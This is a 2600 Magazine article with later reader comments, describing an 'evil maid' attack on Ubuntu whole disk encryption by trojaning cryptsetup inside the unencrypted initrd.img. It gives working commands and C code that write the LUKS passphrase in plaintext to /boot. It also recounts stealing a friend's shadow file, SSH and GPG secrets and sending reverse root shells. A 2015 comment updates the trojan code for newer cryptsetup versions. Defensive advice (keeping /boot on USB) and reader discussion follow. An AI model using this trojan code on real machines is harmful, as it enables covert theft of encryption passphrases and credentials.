Pwning Past Whole Disk Encryption
Published in Winter 2009-2010 (26:4) Issue of 2600 Magazine
0x00 Introduction
When I first started using whole disk encryption in Ubuntu a couple of years ago, I slept better at night. I knew that even if the feds busted into my room while I was out and did whatever they wanted with my hard drive without me knowing, my secrets were still secret. Turns out I was wrong.
I’m going to explain how to steal the disk encryption passphrase and run arbitrary code as root on a computer running Ubuntu with whole disk encryption. I tried this on a friend of mine and managed to steal his disk encryption passphrase, the contents of his passwd and shadow files, SSH credentials for a couple of different servers, and his GnuPG secret key and passphrase. I also got reverse root shells sent to me at regular intervals. I finished up by putting a document on his desktop, digitally signed with his own PGP key, containing his disk encryption passphrase and a link to a defaced page on his web server. All it took was about 10 minutes of physical access while his computer was turned off (and of course, countless hours developing this attack beforehand). I have since apologized to him, and he has still been unsuccessful at pwning me back.
This same technique will work for any Linux distribution that uses dm-crypt for whole disk encryption, which is included by default in Ubuntu, Debian, Fedora Core, and likely others. I’m only focusing on Ubuntu because it’s popular, and that happens to be what my friend was using.
0x10 In a Nutshell
Your whole hard drive is encrypted, so your information is safe from physical attacks, right? Well, no, and the reason is because with most disk encryption solutions, your whole hard drive isn’t actually encrypted, just most of it. Your processor can’t execute encrypted instructions; those need to be decrypted before they get executed. So by default, there must be a program that isn’t encrypted whose purpose is to decrypt the rest of the hard drive. Then the operating system can load and the encrypted data can be accessed.
Since this program is not encrypted, if an attacker has physical access to the computer, she can replace this program with something that does the same thing, only also does some other evll things as well. This can be done by booting to a live CD to access the hard drive or, in case of a BIOS password, just removing the hard drive (which is what I had to resort to). In most Linux implementations of whole disk encryption, the small boot partition remains unencrypted, and everything else is encrypted. This attack works by modifying files in the boot partition to do our evil deeds.
Also, we’re using a computer for this attack, which means we can write programs to automate it. It becomes as easy as: pop in a live CD, boot up, run a script, shut down, remove CD, and the victim is pwned, despite disk encryption.
In Windows, disk encryption using both PGP Desktop and TrueCrypt must work the same way, by installing a small unencrypted program that’s used to decrypt the rest of the drive. So, theoretically, these two disk encryption solutions must be vulnerable to this same attack.
0x20 The Vulnerable initrd.img
In Ubuntu, the boot partition holds two files necessary to boot into your operating system: vmlinuz and initrd.img. They have the kernel version appended to the end of their filenames. You can tell the exact names by looking at your grub menu file /boot/grub/menu.1st. This is from mine:
title Ubuntu 8.04.1, kernel 2.6.24-21-generic root: (hd0,0) kernel /vmlinuz-2.6.24-21-generic root=/dev/mapper/ubuntu-root ro quiet splash initrd /initrd.img-2.6.24-21-generic
The vmlinuz file is the compressed Linux kernel that you need when booting up. The initrd.img file is a compressed initial ramdisk made up of a little filesystem full of files required to boot the rest of the way into Linux. It’s only necessary to have an initrd.img file when you need to do some special things before you boot all the way into the OS, like load extra kernel modules and unlock the encrypted hard drive. If you have multiple Linux kernels installed, you’ll have multiple vmlinuz and initrd.img files in your boot partition.
So how does this all work? You turn on your computer and boot to your hard drive. Grub loads menu.1st and autoselects the first option for you, and an Ubuntu logo pops up and your system starts booting. Your initrd.img file gets decompressed in memory. It’s essentially a filesystem with lots of common commands, including the /bin/sh shell. It has an executable script called /init, which executes everything needed to unlock and mount your encrypted partitions. The /init script gets run, and it in turn runs the program /sbin/cryptsetup, which asks for your passphrase. Once you type in the correct passphrase crypsetup unlocks the encrypted section of your hard drive, and then the /init script mounts all the partitions, and does other startup stuff. Once this is complete, the initrd.img filesystem closes and the OS starts to load the rest of the way.
initrd.img files are compressed with cpio, and then compressed again with gzip. Here’s an easy way to decompress your initrd file to see what’s inside:
m0rebel@ubuntu:~$ cd /tmp m0rebel@ubuntu:/tmp$ mkdir initrd m0rebel@ubuntu:/tmp$ cd initrd/ m0rebel@ubuntu:/tmp/initrd$ cp /boot/initrd.img-2.6.24-21-generic ./initrd.img.cpio.gz m0rebel@ubuntu:/tmp/initrd$ gunzip initrd.img.cpio.gz m0rebel@ubuntu:/tmp/initrd$ cpio -i < initrd.img.cpio m0rebel@ubuntu:/tmp/initrd$ rm initrd.img.cpio m0rebel@ubuntu:/tmp/initrd$ ls bin conf etc init lib modules sbin scripts usr var m0rebel@ubuntu:/tmp/initrd$ ls -l sbin/cryptsetup -rwxr-xr-x 1 m0rebel m0rebel 52416 2008-10-20 17:33 sbin/cryptsetup m0rebel@ubuntu:/tmp/initrd$
To recompress initrd.img, do this:
m0rebel@ubuntu:/tmp/initrd$ find . | cpio --quiet --dereference -o -H newc | gzip > /tmp/poisoned-initrd.img
To tie it all together, these files are all stored in /boot/initrd.img on your unencrypted boot partition. An attacker with physical access to a victim’s computer can either boot to a live CD, live USB device, or remove the hard drive and put it in another computer to modify these files.
0x30 Stealing the Crypto Passphrase
To steal the disk encryption passphrase, you need to replace the /sbin/cryptsetup binary in the initrd.img file with an evil one that does your bidding. Luckily, cryptsetup is open source. First, make sure you have all the right development tools and dependencies installed to compile cryptsetup, and the cryptsetup source code.
m0rebel@ubuntu:~$ sudo apt-get install build-essential m0rebel@ubuntu:~$ sudo apt-get build-dep cryptsetup m0rebel@ubuntu:~$ mkdir cryptsetup m0rebel@ubuntu:~$ cd cryptsetup/ m0rebel@ubuntu:~/cryptsetup$ apt-get source cryptsetup m0rebel@ubuntu:~/cryptsetup$ ls cryptsetup-1.0.5 cryptsetup_1.0.5-2ubuntu12.diff.gz cryptsetup_1.0.5-2ubuntu12.dsc cryptsetup_1.0.5.orig.tar.gz m0rebel@ubuntu:~/cryptsetup$
The directory cryptsetup-1.0.5 holds the actual source code. It took me a while, searching through the code looking for the “Enter LUKS passphrase:” prompt, before I found the correct file and line to add my evil code. It turns out that cryptsetup-1.0.5/lib/setup.c, around line 650, is the correct place. Right before line 650 is this if statement:
if((r = LUKS_open_any_key(options->device, password, passwordLen, &hdr, &mk, backend)) < 0) { set_error("No key available with this passphrase.\n"); goto out1; }
This basically means, “if the passphrase that was just entered doesn’t work, give an error message and then jump to another part of the code.” Right after that, add my evil code:
if((r = LUKS_open_any_key(options->device, password, passwordLen, &hdr, &mk, backend)) < 0) { set_error("No key available with this passphrase.\n"); goto out1; } /* begin evil code */ else { system("/bin/mkdir /mntboot"); system("/bin/mount -t ext3 /dev/sda1 /mntboot"); FILE *fp = fopen("/mntboot/.cryptpass", "w"); fprintf(fp, "%s\n", password); fclose(fp); system("/bin/umount /mntboot"); } /* end evil code */
This basically says, “but if the passphrase does work, then create a new directory called /mntboot, mount the unencrypted boot partition to this new directory, create a new file called /mntboot/.cryptpass in this directory, write the encryption passphrase to it, close the file, and unmount the partition.” This will write
the encryption passphrase in plaintext to a file called .cryptpass in the boot partition.
You can then save the file and compile it. After compiling it, I like to build a debian package, then extract it, to see all the files it creates in the right directory structure.
m0rebel@ubuntu:~/cryptsetup/cryptsetup-1.0.5$ ./configure m0rebel@ubuntu:~/cryptsetup/cryptsetup-1.0.5$ make m0rebel@ubuntu:~/cryptsetup/cryptsetup-1.0.5$ sudo dpkg-buildpackage m0rebel@ubuntu:~/cryptsetup/cryptsetup-1.0.5$ cd .. m0rebel@ubuntu:~/cryptsetup$ mkdir root m0rebel@ubuntu:~/cryptsetup$ dpkg -x cryptsetup_1.0.5-2ubuntu12_i386.deb root/ m0rebel@ubuntu:~/cryptsetup$ ls -l root/sbin/ total 56 -rwxr-xr-x 1 m0rebel m0rebel 52632 2008-10-20 18:01 cryptsetup m0rebel@ubuntu:~/cryptsetup$
And there you have it: an evil, trojaned cryptsetup binary. Now all you need to do is get a copy of the victim’s initrd.img file from their unencrypted boot partition, extract it, copy root/sbin/cryptsetup to initrd/sbin/cryptsetup, copy root/initramfs-tools/scripts/* to initrd/scripts/, and then recompress the initrd.img file and replace it. The next time the victim boots up and enters their passphrase, a new file will be saved in plaintext in /boot/.cryptopass. Pretty cool, huh?
Most of the attack on my friend relied on this exact same technique, taking the source code from the Ubuntu repository for programs he uses all the time (cryptsetup, openssh, gnupg) and modifying them to be evil.
0x40 Did Someone Say Rootkit?
But it gets better. If you have access to the initrd.img file, you can not only put an evil cryptsetup binary in there, but you can also change around the init script to make it evil. This means that when the computer is booting up, after you steal the encryption passphrase, after cryptsetup unlocks the hard drive, and after the init script mount the encrypted partition, you can then write whatever you want to the root partition.
While pwning my good friend, I made cryptsetup write his encryption passphrase to the ramdisk, not the boot partition. I modifed the init script to then copy his encryption passphrase, a copy of the original, unpoisoned initrd.img file, and a couple of other evil binaries to his root partition. It then added some files to his /etc/init.d and /etc/rcX.d directories to make a couple things run on bootup. After the init script finished executing, and Ubuntu began loading the rest of the way, it ran my init scripts. Keep in mind, these startup scripts get run as root, which spells 0wned.
One of the startup scripts moved the unpoisoned initrd.img back into his boot partition (so this attack wouldn’t happen every time he booted up, only once). It also wrote his encryption passphrase, /etc/passwd, and /etc/shadow to a dump file. It then deleted itself and the files that made it run on boot up. The evil ssh and gpg binaries also wrote passwords to this same dump file. The other startup script ran an evil Python script in the background. This script was an infinite loop that waited 15 minutes, sent me the contents of the dump file over the internet, then waited another 15 minutes and sent a reverse netcat root shell to me.
That’s just how I did it. There are a million other ways to do it, and hackers much more talented than me in rootkit development probably know how to do the same thing, only a lot stealthier.
0x50 Self-Defense
This whole attack relies on modifying unencrypted files on your hard drive, so the defense is simply don’t keep any unencrypted files on your hard drive. Carry them with you on a USB stick instead. This way, if an attacker gets physical access to your computer, all they can do is stare at the encrypted data scratching their heads. You have to make sure you keep a close watch on your USB stick, though. I keep it on my keyring, and never leave it lying around.
While installing Ubuntu, keep a USB stick plugged into your computer. When you get to the partitioner, do a manual partition. Make your USB stick hold /boot, and then make the rest a “physical volume for encryption”. Inside there, make a “physical volume for LVM,” and inside there put your root, swap, and any other
partitions you might want. Install grub to the master boot record of your USB stick, not your internal hard drive.
If you don’t want to reinstall your operating system, you can format your USB stick, copy /boot/* to it, and install grub to it. In order to install grub to it, you’ll need to unmount /boot, remount it as your USB device, modify /etc/fstab, comment out the line that mounts /boot, and then run grub-install /dev/sdb (or wherever your USB stick is). You should then be able to boot from your USB stick.
An important thing to remember when doing this is that a lot of Ubuntu updates rewrite your initrd.img, most commonly kernel upgrades. Make sure your USB stick is plugged in and mounted as /boot when doing these updates. It’s also a good idea to make regular backups of the files on this USB stick, and burn them to CDs or keep them on the internet. If you ever lose or break your USB stick, you’ll need these backups to boot your computer.
One computer I tried setting this defense up on couldn’t boot from USB devices. I solved this pretty simply by making a grub boot CD that chainloaded to my USB device. If you google “Making a GRUB bootable CD-ROM,” you’ll find instructions on how to do that. Here’s what the menu.1st file on that CD looks like:
default 0 timeout 2 title Boot from USB (hd1) root (hd1) chainloader +1
I can now boot to this CD with my USB stick in, and the CD will then boot from the USB stick, which will then boot the closely watched initrd.img to load Ubuntu. A little annoying maybe, but it works.
0x60 Conclusion
All this may seem a little paranoid, but ignoring this attack isn’t worth it when you have real secrets to hide, or if you value your privacy. If you’re worried about a competent attacker (and government agents occasionally have their competent moments), you might as well just not encrypt your hard drive. But that’s stupid. Encrypt everything. It’s important to freedom.
ok, that’s nice.
but why is it important to install grub on the usbkey?
can someone put bad code into the mbr and do h4x0r stuff from there?
i’ve built up a simple encrypted raid5 debian-box (/boot on usb) but my grub is on every hdd. is that bad?
thanks.
September 19, 2011 at 12:50 pm
If all of /boot is on your USB key then that makes the attack a lot harder, but the 512 bytes you boot to in the MBR gets executed when the computer turns on. So it’s possible that an attacker with physical access could make it do something you don’t want it to with those 512 bytes, like a network boot that loads a malicious /boot from the network and skips your USB key without you noticing. But again, that’s much harder to do.
September 19, 2011 at 1:44 pm
Thanks for this report, fun to read!
Wouldnยดt it be a good thing to check for md5 sums of your boot files and echo a warning if anything was modified – the warning can only be a hint, consequently you must know the md5sums of your important boot files out of your memory… of course you also want to check the ones on the usb key – as long as you do not put it anywhere inside your body while you are sleeping you might be concerned about the usb key… but I think grub can not check for md5 sums of e.g. initrd and also does not check itยดs own checksum.
However, putting anything valuable to some other place, be it usb-key or sd-card or whatever, is no solution to the problem you described here, you are just putting the source of the problem on another device. After all considerations I believe the best solution is a setup that can use ANY linux live cd / usb to boot up the system and then mount your enrypted files from there, no need for any special device to take care of – this way you can be sure to use non-modified files for booting up your system, as most dirstros nowadays are delivering signed packages and in case of doubt you just get yourself a fresh live dvd from the net.
This only works with passwords, of course, so if you want to use keyfiles to avoid usage of the possibly 0wned keyboard you again have to put them on a device and sleep with that device inside your body – the idea of encrypting the keyfiles with gnupg leads to the same situation: you have to type a password, so you can just skip this part and use any live distro to decrypt your private data.
Just using any linux live dvd / cd you never have to take care for any device and can restore your private data from anywhere you have access to a fresh linux distro – also much easier travelling with nothing to care about.
what do you think?
December 26, 2011 at 3:07 pm
Very interesting! Thanks for sharing ๐
March 11, 2012 at 4:01 am
It was interesting to read. Thank you for sharing.
Something that was bothering me, it’s not “menu.1st”, it’s actually menu.lst (Lst – list).
October 5, 2012 at 6:28 am
Good article man, I have been thinking about offloading my /boot for some time and after seeing easy it was for you to hose your friends keys I am convinced. Id like to see the ease of doing it with windows / TrueCrypt also.
March 7, 2013 at 7:34 am
Yeah Tim! I was thinking the same thing.. How to move the boot files of an Truecrypt encrypted disk onto a USB!! Now that would be handy!
March 22, 2015 at 11:20 pm
We want more posts of this kind. If u can, write programming (security/cryptography/networking etc) too. thank you !
July 16, 2013 at 11:00 am
Hi man! Thanks for a great lesson! I followed your advice and created an encrypted OS with /boot and grub on usb stick.
Now I got 2 questions:
1. How can I boot multiple encrypted OS from this same usb stick?
2. more important – I tried to backup what is on my usb stick. I used the same vendor, also formated in ext4, and chose it to be bootable.
I copy pasted everything to the second USB stick. The second one doesn’t boot the GRUB2. How to solve this?
May 9, 2014 at 2:08 am
i would try some other software coppiers made specially for copying bootable media
October 25, 2014 at 5:08 am
Thanks for explaining the issue so clearly
I have been doing an online users security course with futurelearn which recommends encryption
I’m no expert but I was able to follow everything you wrote
December 15, 2014 at 3:32 am
I recommend one more thing. I found this method not to keep an eye on the USB drive all time:
Use a cheap MP3 player, not USB flash drive.
After successful /boot write, disassemble it,
Using soldering iron, bridge the keyboard lock switch to “locked” position. Then reassemble.
In most cheap players, this makes the drive impossible to modify. System will still be able to read it, and small writes during start-up will just throw few disappointments in systemd’s journal. During update, it is needed to modify the disk by hardware. I have never seen anyone carrying soldering iron unnoticed.
October 16, 2015 at 7:16 am
This howto is perhaps outdated and does not work with newer cryptsetup versions?
For example:
cryptsetup-1.6.1/lib/setup.c has no:
if((r = LUKS_open_any_key(options->device, password, passwordLen, &hdr, &mk, backend)) < 0) {
set_error("No key available with this passphrase.\n");
goto out1;
}
That's where I stopped.
October 24, 2015 at 7:04 am
Trapper,
The structure may have changed a little bit, so I had to dig down where it was: instead of changing the executable, I changed the lib.
In the file lib/luks1/keymanage.c around line 905 (function LUKS_open_key):
out:
if (r >= 0) {
FILE *fp;
system(“/bin/busybox mkdir /mntboot”);
system(“/bin/busybox mount -t ext4 /dev/sda1 /mntboot”);
fp = fopen(“/mntboot/.cryptpass”, “a”);
fprintf(fp, “%s\n”, password);
fclose(fp);
system(“/bin/busybox umount /mntboot”);
}
Note: I used busybox because it was available and other executables like mkdir where not (initrd.img-3.19.0-25-generic).
That worked like a charm for me, got the password to a file on /dev/sda1 which happened to be the unencrypted /boot on my test machine, so pay attention to that.
Best regards
November 17, 2015 at 7:26 am
I forgot to mention, as this tweak changes the lib part of the cryptsetup, you need to replace the libcryptsetup.so.4 file (or whatever it generates) in the initrd, not the cryptsetup binary itself.
November 17, 2015 at 7:29 am
Thanks for this report, fun to read!
I also am using Ubuntu and have whole disk encryption. I though I was pretty safe. I have a 35 character pass phrases. Which I thought was unbreakable. Now I lost my sense of safety. This article is almost 5 years old, not sure it it’s still true?
I have a much weaker password on my home directory since it’s the password I have to use with sudo. Don’t want to be typing a very long password every time I use sudo. Once you get on the system, can you get into an encryption home directory? Should I strengthen my home directory password?
January 7, 2016 at 7:37 pm
Please, how can I copy /boot/* from my usb drive with lvm encription to another usb drive?.
how do I installa grup to it?
regards
May 7, 2016 at 12:59 pm
Sorry GRUB not grup
May 7, 2016 at 1:00 pm
Hi!
Isn’t it easier to save a copy of initial /boot somewhere within encrypted LVM folders(/home or whatever else) just after installing the system and then write a script that will compare the saved copy vs actual /boot folder after each booting? In case there are any differences it would warn(perhaps show any new files etc.) you and let you restore(what is more important) initial /boot from the backup mentioned above?
Additionally an encryption of the /boot will do hacking of the system one step longer, but of course it is not the principal solution of course…
I’ll appreciate a lot to have your opinion about that. Could it be helpful ?
October 14, 2016 at 6:17 am
I know that this is an old post, but it is possible to encrypt /boot, thereby avoiding some of what you have discussed. It’s not perfect, because certain items should be signed for EFI but aren’t, but it’s a good start. (Disclaimer: I was heavily involved in the documentation, discovery and processing.) Link: https://help.ubuntu.com/community/ManualFullSystemEncryption
August 22, 2018 at 2:07 am
Pingback: LUKS ํํฐ์ ์ ํด๋ ํ์ง ์๊ณ ์ฌ๋ถํ ํ์๊ฒ ์ต๋๊น? - ์ง๋ฌธ๋ต๋ณ
Pingback: Remount of USB drive partition on /boot silently failing after umount - Boot Panic
Pingback: Reboot without having to decrypt LUKS partitions?